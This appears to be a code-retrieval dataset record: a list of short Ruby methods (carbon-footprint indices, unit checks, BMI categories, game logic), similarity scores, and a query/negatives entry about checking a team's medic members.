670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend", "def comprobacionmedidor\n\nif @privilegio == 'Administrador'\n\np \"Tienes todos los permisos\"\n\nelse\n\n@medidor = Medidore.find_by(token: @token)\nif @medidor[:asociado] == Usuario.find_by(mail: @mailvalidacion).nombre\nelse\n\np \"No tienes asociada esta phinet\"\njsonerror_response(\"No tienes asociada este Medidor #{@medidor[:nombre]}\")\n\nend\n\n\nend\n\n\n\n\nend", "def is_units?(); @type == GRT_UNITS; end", "def metric_ton? = unit == 'metric-ton'", "def mass(consider_electron_masses = true)\n mss = inject(0.0) do |sum,(el,cnt)| \n sum + (Mspire::Mass::Element::MONO[el]*cnt)\n end\n mss -= (Mspire::Mass::ELECTRON * charge) if consider_electron_masses\n mss\n end", "def in_medusa\n\n Rails.logger.warn(\"dataset not found for datafile #{self.web_id} :in_medusa\") unless dataset\n return false unless dataset\n\n unless dataset.identifier && dataset.identifier != \"\"\n Rails.logger.warn(\"dataset not found for datafile #{self.web_id} :in_medusa\")\n end\n return false unless dataset.identifier && dataset.identifier != \"\"\n\n datafile_in_medusa = StorageManager.instance.medusa_root.exist?(target_key)\n if datafile_in_medusa\n if storage_root && storage_key && storage_root == \"draft\" && storage_key != \"\"\n\n # If the binary object also exists in draft system, delete duplicate.\n # Can't do full equivalence check (S3 etag is not always MD5), so check sizes.\n if StorageManager.instance.draft_root.exist?(storage_key)\n draft_size = StorageManager.instance.draft_root.size(storage_key)\n medusa_size = StorageManager.instance.medusa_root.size(target_key)\n\n if draft_size == medusa_size\n # If the ingest into Medusa was successful,\n # delete redundant binary object\n # and update Illinois Data Bank datafile record\n StorageManager.instance.draft_root.delete_content(storage_key)\n datafile_in_medusa = true\n else\n datafile_in_medusa = false\n exception_string(\"Different size draft vs medusa. Dataset: #{dataset.key}, Datafile: #{datafile.web_id}\")\n notification = DatabankMailer.error(exception_string)\n notification.deliver_now\n end\n else\n datafile_in_medusa = true\n end\n else\n datafile_in_medusa = true\n end\n\n if datafile_in_medusa\n self.storage_root = \"medusa\"\n self.storage_key = target_key\n save!\n end\n end\n datafile_in_medusa\n end", "def formation_met? formation\npieces = [@board[formation[0]], @board[formation[1]], @board[formation[2]]]\npieces.uniq.length == 1 && (pieces[0] != PIECE[:blank])\nend", "def pixel_per_meter? = unit == 'pixel-per-meter'", "def isFacile? \n return @facile\n end", "def grain? = unit == 'grain'", "def energized?\n @cur_energy > 0\n end", "def centre_aligned?\n value == :centre\n end", "def indice_corporal\n if @datos.indice_masa_corporal <= 18.5\n \"Bajo peso\"\n elsif @datos.indice_masa_corporal > 18.5 and @datos.indice_masa_corporal <= 24.9\n \"Peso adecuado\"\n elsif @datos.indice_masa_corporal > 25.0 and @datos.indice_masa_corporal <= 29.9\n \"Sobrepeso\"\n elsif @datos.indice_masa_corporal > 30.0 and @datos.indice_masa_corporal <= 34.9\n \"Obesidad grado 1\"\n elsif @datos.indice_masa_corporal > 35.0 and @datos.indice_masa_corporal <= 39.9\n \"Obesidad grado 2\"\n elsif @datos.indice_masa_corporal > 40\n \"Obesidad grado 3\"\n end\n end", "def has_money\n return true unless Capital.find(1).montante_real < self.valor\n end", "def can_be_officer?\n self.degree.to_sym == :master_mason\n end", "def huella_carbono\n if geidiario() < 800\n return 1\n end\n if geidiario() > 1200\n return 3\n else\n return 2\n end\n end", "def midX?\n return @calMidX if @calMidX\n return self.bitmap.width/2 if self.bitmap\n return self.ox\n end", "def se_movio?\n @se_movio\n end", "def is_set?\n (@value - NEGATIVE) >= 0.5\n end", "def proportional?(other)\n s = self.base.unit.map{ |u| u.type }\n o = other.base.unit.map{ |u| u.type }\n (o - s).empty? && (s - o).empty?\n end", "def imprime_quantos_filhos()\n count = 0\n if self.esq != -1\n count+= 1\n end\n if self.dir != -1\n count+= 1\n end\n return count\n end", "def consumo_promedio\n medidor_id = MedidorEstadoMedidor.where(estado_medidor_id: self.id).take.medidor_id\n estado_medidor_id = MedidorEstadoMedidor.where(medidor_id: medidor_id).map(&:estado_medidor_id)\n periodo = \"#{self.fecha_medicion.month}/#{self.fecha_medicion.year}\"\n estados = EstadoMedidor.where(id: estado_medidor_id).where.not(periodo: periodo)\n aux = 0\n estados.each do |estado|\n aux = aux + estado.consumo\n end\n aux = aux + self.estado_actual\n promedio = aux / (estados.count + 1)\n end", "def millionaire?\n money >= 1000000\n end", "def millionaire?\n money >= 1000000\n end", "def par?\n cuantos_pares >= 1\n end", "def multivm?\n vms.length > 1\n end", "def spans_magnitudes?(base = 10)\n\t\treturn magnitudes_spanned.length > 1\n\tend", "def actualizar_intermedio\n quedan = @registro.caracterizacionpersona.where(\n \"respuestafor_id IN (SELECT id \" +\n \"FROM mr519_gen_respuestafor AS rf \" +\n \"JOIN cor1440_gen_caracterizacionpf AS cpf ON \" +\n \"rf.formulario_id=cpf.formulario_id JOIN \" +\n \"cor1440_gen_beneficiariopf AS bpf ON \" +\n \"bpf.proyectofinanciero_id=cpf.proyectofinanciero_id \" +\n \"WHERE bpf.persona_id=?)\",\n @registro.id,\n ).pluck(:id)\n elim = @registro.caracterizacionpersona_ids - quedan\n if elim != []\n Cor1440Gen::Caracterizacionpersona.where(id: elim).delete_all\n end\n true\n end", "def elv_kapoera\n atk == dfe\n end", "def test_parallel_segment?\n # 平行\n pos0 = Mageo::Vector3D[0.0, 0.0, 2.0]\n pos1 = Mageo::Vector3D[2.0, 0.0, 2.0]\n seg01 = Mageo::Segment.new(pos0, pos1)\n assert_equal(true , @t00.parallel_segment?(seg01))\n\n # 面に含まれる\n pos0 = Mageo::Vector3D[0.0, 0.0, 0.0]\n pos1 = Mageo::Vector3D[2.0, 0.0, 0.0]\n seg01 = Mageo::Segment.new(pos0, pos1)\n assert_equal(false, @t00.parallel_segment?(seg01))\n\n # 平行ではない。\n pos0 = Mageo::Vector3D[0.0,10.0, 0.0]\n pos1 = Mageo::Vector3D[0.0,10.0, 2.0]\n seg01 = Mageo::Segment.new(pos0, pos1)\n assert_equal(false, @t00.parallel_segment?(seg01))\n end", "def gigahertz? = unit == 'gigahertz'", "def seuil()\n\t\treturn 0\n\tend", "def qual_sexo\n return \"masculino\" if (self.sexo==\"m\")\n return \"feminino \" if (self.sexo==\"f\")\n end", "def hybrid_measures?\n !!measures.map(&:hqmf_id).intersect?(APP_CONSTANTS['result_measures'].map(&:hqmf_id))\n end", "def kelvin? = unit == 'kelvin'", "def region_comparison\n region_per_cap_daily_average = self.house.address.city.region.avg_daily_electricity_consumed_per_capita\n num_days = self.end_date - self.start_date\n bill_daily_average = self.total_kwhs.fdiv(num_days)\n avg_daily_use_per_resident = bill_daily_average.fdiv(self.no_residents)\n region_per_cap_daily_average > avg_daily_use_per_resident ? res = true : res = false\n res ? self.electricity_saved = ((region_per_cap_daily_average - avg_daily_use_per_resident) * num_days) : self.electricity_saved = 0\n res\n end", "def test_mcm\n assert_equal 6,Fraccion.new(1,1).mcm(@a.denom,@b.denom)\n end", "def empty?\n diversity.size < 2\n end", "def valid_conc?(op, range)\n op.input_array(\"Input Array\").each do |field_value|\n conc = field_value.part.get(\"Stock Conc (ng/ul)\".to_sym)\n return false unless range.cover?(conc)\n end\n true\nend", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def check_margin(employee, fulfilled)\n costrateid = Criterion.where(name: 'costrate').first.id\n margin = Margin.get_margin(@project.hourlyrate,employee.costrate)\n if (Criterionparam.where(project_id: @project.id, criterion_id: costrateid).first.filterlow <= margin) &&\n (Criterionparam.where(project_id: @project.id, criterion_id: costrateid).first.filterhigh >= margin)\n fulfilled += 1\n end\n\n return fulfilled\n end", "def invoice_possible?\n # 1. facture globale ?\n invoices = Invoice.find :first,\n \t:conditions => ['order_id = ? AND ds_id IS NULL', self.order_id]\n return false if (!invoices.nil?)\n # 2. facture pour cette livraison ?\n invoices = Invoice.find :first, :conditions => ['ds_id = ?', self.id]\n return false if (!invoices.nil?)\n # 3. bon de commande pour cette livraison ?\n return false if (self.order_id.nil?)\n return true\n end" ]
[ "0.71335375", "0.63187194", "0.6280906", "0.6140651", "0.6104769", "0.6053609", "0.599745", "0.5810091", "0.57612264", "0.57186514", "0.565802", "0.5656227", "0.5632812", "0.556337", "0.55513775", "0.5518658", "0.5488609", "0.54824775", "0.5458807", "0.54491657", "0.54483855", "0.54425406", "0.54393697", "0.5436721", "0.54137367", "0.5373694", "0.5368442", "0.5362427", "0.53280485", "0.53263974", "0.5294488", "0.52899456", "0.52825207", "0.5281436", "0.5274188", "0.5273713", "0.52705145", "0.5262395", "0.5260831", "0.52357566", "0.5197328", "0.5187697", "0.5174308", "0.5160495", "0.51556724", "0.51445925", "0.51420665", "0.5142056", "0.513473", "0.5127527", "0.51243955", "0.5123957", "0.5120143", "0.51091063", "0.5105342", "0.5094368", "0.5088467", "0.50863814", "0.5084348", "0.50788873", "0.50766736", "0.50758374", "0.5071272", "0.5066453", "0.50653005", "0.50626284", "0.5054362", "0.5052132", "0.50417966", "0.5034717", "0.5032027", "0.5029101", "0.50181675", "0.50154686", "0.50128883", "0.5012646", "0.5011859", "0.50109726", "0.5007871", "0.4997049", "0.4997049", "0.49965277", "0.49959904", "0.49957213", "0.49939463", "0.4991403", "0.49848917", "0.49776027", "0.49757034", "0.49721748", "0.49716014", "0.4962832", "0.4957414", "0.49568012", "0.49538347", "0.4946527", "0.49423277", "0.49423277", "0.49367467", "0.49294576" ]
0.6813841
1
verifica se a equipe e uma equipe com 3 medicos e um Chunnin ou Jounin
def is_medico_equipe(equipe) membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id] count_medicos = 0 for i in 0..3 if Pessoa.find(membros[i]).rank.downcase == 'medico' count_medicos += 1 elsif Pessoa.find(membros[i]).rank.downcase != 'chuunin' and Pessoa.find(membros[i]).rank.downcase != 'jounin' return false end end ((count_medicos == 3) and (Pessoa.find(membros[3]).rank.downcase == 'medico')) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def three_of_a_kind?\n repeat_counts.include? 3\n end", "def pbIsMedicine?(item)\n return [1, 2, 6, 7].include?(GameData::Item.get(item).battle_use) && !GameData::Item.get(item).is_berry?\nend", "def is_anbu_equipe(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n val_is_anbu = true\n\n for i in 0..3\n val_is_anbu = (val_is_anbu and (Pessoa.find(membros[i]).rank.downcase == 'anbu'))\n end\n end", "def carta_tem_ponto?(carta)\n ['A', '7', 'K', 'J', 'Q'].include? carta.numero\n end", "def three_set?\n collected_dice = @dice_cup.group_by { |i| i }\n\n collected_dice.each_value do |v|\n if v.length >= 3\n return true\n end\n end\n\n false # No sets of three... :-(\n end", "def is_medico_membro(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n val_is_medico = false\n\n for i in 0..3\n if Pessoa.find(membros[i]).rank.downcase == 'medico'\n val_is_medico = true\n end\n end\n\n val_is_medico\n end", "def trio?\n @valores.to_h.select{|k, v| (3..3).cover?(v)}.size == 1\n end", "def noun_articles_correct? set\n ((set & NOUNS).count >= 1) || ((set & ARTICLES).count >= 2)\n end", "def three_of_a_kind?\n cards_by_rank.values.first.count >= 3\n end", "def found_multiple?\n @flags.size > 1\n end", "def ounce? = unit == 'ounce'", "def has_three_bonus_parts\n # placeholder\n # will fill in if issue of accidentally not associating bonus parts\n # becomes actually problematic\n end", "def any_three?\n results=[]\n [@hand1Values, @hand2Values].each do |handV|\n freqHash = Hash.new(0) \n handV.each { |h| freqHash [h] += 1}\n results << freqHash.values.any? { |freq| freq >= 3}\n end\n\n results\n end", "def huella_nutricional\n\t\tif( (indice_impacto == 1) && (vct < 670) && (suma_gramos < 800))\n\t\t\thuella_nutricional = 'Bajo'\n\t\telsif( (indice_impacto == 2) && ((vct > 670) || (vct < 830)) && ((suma_gramos > 800) || (suma_gramos < 1200)))\n\t\t\thuella_nutricional = 'Regular'\n\t\telsif( ( indice_impacto == 3) && (vct > 830 ) && (suma_gramos > 1200))\n\t\t\thuella_nutricional = 'Alta'\n\t\tend\n\t\t\treturn huella_nutricional\n\t\tend", "def double_faced?\n two_up? && mana_costs_shown.select(&:present?).count < 2\n end", "def multiple?; end", "def three_of_a_kind?(roll)\n false\nend", "def computer_defense_check(spaces, space1, space2, space3)\n\n ((spaces[space1] + spaces[space2]).include?(\"XX\") || \n (spaces[space2] + spaces[space3]).include?(\"XX\") || \n (spaces[space1] + spaces[space3]).include?(\"XX\")) && \n (spaces[space1] + spaces[space2] + spaces[space3]).include?(\"O\") == false\n\nend", "def pokemon_matching_requirements?(pkmn, wanted_data)\n return pkmn.id == wanted_data[0] && pkmn.level >= wanted_data[1] &&\n pkmn.level <= wanted_data[2] && (wanted_data[3] == 0 || pkmn.gender == wanted_data[3])\n end", "def megahertz? = unit == 'megahertz'", "def three_of_a_kind?\n n_of_a_kind? 3\n end", "def is_conjunction?(language)\n pos == 'J' || xpos == ',' || lemma == ',' || CONJUNCTIONS[language]&.include?(lemma)\n end", "def computer_offense_check(spaces, space1, space2, space3)\n\n ((spaces[space1] + spaces[space2]).include?(\"OO\") ||\n (spaces[space2] + spaces[space3]).include?(\"OO\") || \n (spaces[space1] + spaces[space3]).include?(\"OO\")) && \n (spaces[space1] + spaces[space2] + spaces[space3]).include?(\"X\") == false\n\nend", "def espanola\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def three_of_a_kind(hand)\n\t\thand_num = check_num(hand)\n\t\ti = 0\n\t\twhile i < hand_num.size\n\t\t\tif hand_num.count(hand_num[i]) == 3\n\t\t\t\treturn 3\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn 0\n\tend", "def victory(joueur)\n\t\t# On définit les 8 possibilités de victoires si elles se vérifient les 3 dans la combinaison donnée alors la partie s'arrête\n\t\tif (plateau[0] == joueur.value) && (plateau[1] == joueur.value) && (plateau[2] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\n\t\telsif (plateau[3] == joueur.value) && (plateau[4] == joueur.value) && (plateau[5] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telsif (plateau[0] == joueur.value) && (plateau[3] == joueur.value) && (plateau[6] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telsif (plateau[2] == joueur.value) && (plateau[4] == joueur.value) && (plateau[6] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telsif (plateau[0] == joueur.value) && (plateau[4] == joueur.value) && (plateau[8] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telsif (plateau[2] == joueur.value) && (plateau[5] == joueur.value) && (plateau[8] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telsif (plateau[1] == joueur.value) && (plateau[4] == joueur.value) && (plateau[7] == joueur.value)\n\t\t\tputs \"#{joueur.name} a eu plus de chance que toi ¯\\_(ツ)_/¯\"\n\t\t\tdisplay\n\t\t\texit\n\t\telse\n\t\t\treturn\n\t\tend\n\tend", "def product?\n [2, 3].map { |i| TYPES[i] }.include? self.ctype\n end", "def is_molar_quantity?\n denominator_quantities == [:amount_of_substance]\n end", "def gastriloquism_quinnipiac_apodictical()\n end", "def multiple_pieces?\n 1 < all_coords.count { |coord| self[coord] != :empty }\n end", "def vasca\n\t\treturn ((prot >= 9.0 || prot <= 21.0) && (car >= 54.0 || car <= 66.0) && (lip >= 19.0 || lip <= 31.0))\n\tend", "def huella_nutricional\n numero1 = self.calculo_valor_calorico_total\n numero2 = self.calculo_emisiones_diarias\n\n if numero1 < 670\n ienergia = 1\n elsif numero1 <=830\n ienergia = 2\n else\n ienergia = 3\n end\n\n if numero2 < 800\n icarbono = 1\n elsif numero2 <= 1200\n icarbono = 2\n else\n icarbono = 3\n end\n\n media = (ienergia + icarbono)/2\n end", "def carnivore_species_fighting?\n @carnivores.uniq.count > 1\n end", "def is_complex(an_item)\n occurrence_counter = 0\n #verify if item has two or more affilition elements\n if get_institution(an_item) != nil then occurrence_counter += 1 end\n if get_country_any(an_item) != nil then occurrence_counter += 1 end\n if get_department(an_item) != nil then occurrence_counter += 1 end\n if get_faculty(an_item) != nil then occurrence_counter += 1 end\n if get_workgroup(an_item) != nil then occurrence_counter += 1 end\n # if more than one affilition element, treat as complex\n if occurrence_counter > 1\n return true\n else\n return(false)\n end\nend", "def is_isosceles?\n return @length_one == @length_two || @length_one == @length_three ||\n @length_two == @length_three\n end", "def verificar_jugadas_contradictorias jugadalot\n #jugadalot es un object param\n # 4 tipos de jugadas: 0101, 0102, 0103, 0104\n jugadas = Jugadalot.where(:ticket_id => jugadalot.ticket_id) || [] # nil en caso de no encontrar jugadas de ese ticket_id, my remoto pero contemplarlo. \n respuesta = false\n\n comandos = []\n comando_actual = jugadalot.comandojugada # incluyo tambien la ultima jugada digitada en pantalla que aun no esta en la consulta del modelo. Esta jugada viene dentro del objeto recibido como param ok.\n\n jugadas.each do |jugada|\n comandos << jugada.comandojugada # capturar todos los comandos de las jugadas\n end\n #aplicar la logica de las jugadas contradictorias\n #la jugada contradictoria se verifica en cada entrada nueva, compara la que llega con las que estan?\n\n #si la jugada nueva es al cinta azul, verificar que no este esa misma pelea al cinta blanca y viceversa\n # comando_actual => \"0101\" por ejemplo\n if comando_actual[2..3] == \"01\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"2\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"02\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"1\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"03\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"4\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"04\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"3\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n \n end", "def is_a_set?(cards)\n # The sum when adding one number 3 times or adding 3 consecutive numbers is divisible by 3.\n # This represents having all the same attribute or all different attributes.\n # Adding any other 3 number combo of 1,2,3 will result in a value not divisible by 3, failing to be a set.\n isSet = (cards[0].number + cards[1].number + cards[2].number) % 3 == 0 &&\n (cards[0].color + cards[1].color + cards[2].color) % 3 == 0 &&\n (cards[0].shape + cards[1].shape + cards[2].shape) % 3 == 0 &&\n (cards[0].shade + cards[1].shade + cards[2].shade) % 3 == 0\nend", "def three_of_a_kind?\n # Go over all the cards and see if we have three of them \n # However, we have to skip any wildcards, since they're always the same\n givens = self.all_not_wild\n return true unless givens.size > 0\n # If all cards are wild, it's also a three of a kind \n for given in givens do \n same = find_same_rank(given)\n # >= because a four of a kind is also a three of a kind\n return true if same.size >= 3\n end\n return false\n end", "def victory?\n if @morpion[1] == @morpion[2] && @morpion[1] == @morpion[3] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n end\n return true\n elsif @morpion[4] == @morpion[5] && @morpion[4] == @morpion[6] && @morpion[4] != @morpion[0]\n if @morpion[4] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n end\n return true\n elsif @morpion[7] == @morpion[8] && @morpion[7] == @morpion[9] && @morpion[7] != @morpion[0]\n if @morpion[7] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[1] == @morpion[5] && @morpion[1] == @morpion[9] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[3] == @morpion[5] && @morpion[3] == @morpion[7] && @morpion[3] != @morpion[0]\n if @morpion[3] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[1] == @morpion[4] && @morpion[1] == @morpion[7] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[2] == @morpion[5] && @morpion[2] == @morpion[8] && @morpion[2] != @morpion[0]\n if @morpion[2] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[3] == @morpion[6] && @morpion[3] == @morpion[9] && @morpion[3] != @morpion[0]\n if @morpion[3] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n end\n end", "def conjunction?\n type != HQMF::PopulationCriteria::OBSERV\n end", "def ounce_troy? = unit == 'ounce-troy'", "def is_multi?\n is_multi\n end", "def noun_articles_present? set\n ((set & NOUNS).count >= 1) || ((set & ARTICLES).count >= 2)\n end", "def valid_emotion?\n (EMOTIONS - emotion).size != EMOTIONS.size\n # -> any matching pairs\n end", "def valid_conc?(op, range)\n op.input_array(\"Input Array\").each do |field_value|\n conc = field_value.part.get(\"Stock Conc (ng/ul)\".to_sym)\n return false unless range.cover?(conc)\n end\n true\nend", "def carne\n\t\tcerdo = Alimento.new(\"Cerdo\", 21.5, 0.0, 6.3, 7.6, 11.0)\n\t\tcordero = Alimento.new(\"Cordero\",18.0,0.0,3.1,50.0,164.0)\n\t\tvaca = Alimento.new(\"Carne de vaca\", 21.1,0.0,3.1,50.0,164.0)\n\t\tpollo = Alimento.new(\"Pollo\",20.6,0.0,5.6,5.7,7.1)\n\t\tsuma = 0\n\n\t\t[cerdo,cordero,vaca,pollo].each do |i|\n\t\t\tif (@alimentos.find_index { |x| x == i } != nil)\n\t\t\t\tsuma += @gramos[@alimentos.find_index { |x| x == i }].valor\n\t\t\tend\t\t\n\t\tend\n\n\t\treturn suma >= (gramos_total * 0.45)\n\tend", "def got_three?(elements)\n elements.each_cons 3 do |a, b, c|\n if a == b && b == c \t\n \t return true\n end \n end \n \treturn false\nend", "def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend", "def got_three?(el)\n count = 0\n \n while count < el.length \n char = el[count]\n num = 0\n el.each {|x| num +=1 if x == char}\n if num >= 3\n three = true\n char2 = char\n end\n count +=1\n \n end\n if three == true\n el.each_cons 3 do |a, b, c|\n if a == b && b == c\n return true\n end\n end\n end\n false\n end", "def notional?\n (notional)\n end", "def full_house?\n n_and_m_of_a_kind? 3, 2\n end", "def dot_per_centimeter? = unit == 'dot-per-centimeter'", "def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end", "def unitvector?\n end", "def can_train_siege_engine?\n gold >= 200 && food >= 3 && lumber >= 60\n end", "def win_condition(cell_1, cell_2, cell_3)\n cell_1.present? && cell_2.present? && cell_3.present? && [cell_1, cell_2, cell_3].uniq.count == 1\n end", "def has2w\n #equips.count { |equip| equip.is_a?(RPG::Weapon) } >= 2\n armi = 0\n equips.each { |equipment|\n armi += 1 if equipment.is_a?(RPG::Weapon)\n }\n armi >= 2\n end", "def verificaesonitre (primo, secondo, terzo)\n\tesonicomuni=0\n\t#se il secondo e il terzo includono lo stesso esone lo conto come comune\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v) then \n\t\t\t\tesonicomuni=esonicomuni+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimosecondo=0\n\tprimo.each do |v|\n\t\tif secondo.include?(v) then\n\t\t\tif terzo.include?(v)==false then \n\t\t\t\tprimosecondo=primosecondo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tsecondoterzo=0\n\tsecondo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif primo.include?(v)==false then \n\t\t\t\tsecondoterzo=secondoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\tprimoterzo=0\n\tprimo.each do |v|\n\t\tif terzo.include?(v) then\n\t\t\tif secondo.include?(v)==false then \n\t\t\t\tprimoterzo=primoterzo+1\n\t\t\tend\n\t\tend\t\t\t\t\t\n\tend\n\t#il numero di esoni totali è così calcolato\n\tesoni=esonicomuni+primosecondo+secondoterzo+primoterzo+(primo.length-esonicomuni-primosecondo-primoterzo)+(secondo.length-esonicomuni-primosecondo-secondoterzo)+(terzo.length-secondoterzo-esonicomuni-primoterzo)\n\treturn esoni\nend", "def atributos\n valid = false\n if self.interreps_vencidos.any?\n valid = true\n\n elsif presente_reunioes == true\n valid = true\n end\n\n # elsif Time.now.year - ano_de_fundacao <= 1 \n # valid = true\n # end\n\n valid\n end", "def filter(c)\n (0...NI).map{|i| c[i]*$ingredients[i][C] }.reduce(:+) == 500\nend", "def parcelle_assoc_saison_incoh\n err = false\n self.parcelles.each { |p| err = true unless p.saison_id.eql?(self.saison_id) }\n self.factoparcelles.each { |a| err = true unless a.saison_id.eql?(self.saison_id) }\n return (err)\n end", "def winner?\n (self.array & [\"a1\",\"a2\",\"a3\"]).length == 3 || (self.array & [\"b1\",\"b2\",\"b3\"]).length == 3 || (self.array & [\"c1\",\"c2\",\"c3\"]).length == 3 || (self.array & [\"a1\",\"b1\",\"c1\"]).length == 3 || (self.array & [\"a2\",\"b2\",\"c2\"]).length == 3 || (self.array & [\"a3\",\"b3\",\"c3\"]).length == 3 || (self.array & [\"a1\",\"b2\",\"c3\"]).length == 3 || (self.array & [\"c1\",\"b2\",\"a3\"]).length == 3\n end", "def poker?\n cuantos_pares == 2 && @pares.group_by{|k, v| k}.size == 1\n end", "def multi_arged?\n false\n end", "def testLigneContient(a,a2)\n\t\t0.upto(a.size-1) do |x|\n\t\t\tif a[x].couleur != a2[x].couleur && a2[x].couleur != Tuile.getCouleurVide \n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\n\tend", "def multiple?\r\n not single?\r\n end", "def multiple?\n @multi\n end", "def multiple?\n @multi\n end", "def formation_met? formation\npieces = [@board[formation[0]], @board[formation[1]], @board[formation[2]]]\npieces.uniq.length == 1 && (pieces[0] != PIECE[:blank])\nend", "def carat? = unit == 'carat'", "def got_three?(array_list)\n a=nil \n for i in array_list\n if array_list.join.include?(\"#{i.to_s*3}\")\n a=true \n break \n else \n a=false \n end \n end \n a\nend", "def knot? = unit == 'knot'", "def is_cesia?\n CESIA_UPN.include?(self.upn)\n end", "def good_set_syntax? user_input\n\t\treturn false if user_input.length != 3\n\t\t# user input must only contain integers (between 0 and hand.length-1)\n\t\treturn (user_input.all? {|i| (i.to_i.to_s == i && i.to_i <= @hand.length-1 && i.to_i >= 0 && user_input.count(i) < 2)})\n\tend", "def can_be_used_jointly?\n ids = order.order_promo_codes.collect(&:promo_code_id).uniq\n singular_promo_codes = PromoCode.where(id: ids).where(combined: false)\n # cant use count since that data isnt saved yet and count would fire an query\n if order.order_promo_codes.size > 1 and singular_promo_codes.count > 0\n self.errors.add(:promo_code_id, 'Cant be used with conjuction with other codes') unless self.promo_code.combined\n end\n end", "def existe_jugada_posible?\n !jugadas_posibles.empty?\n end", "def act?\n !(q1_act.nil? || q3_act.nil?)\n end", "def verification_coordonnees \n\tcoordonnees = [\"a1\", 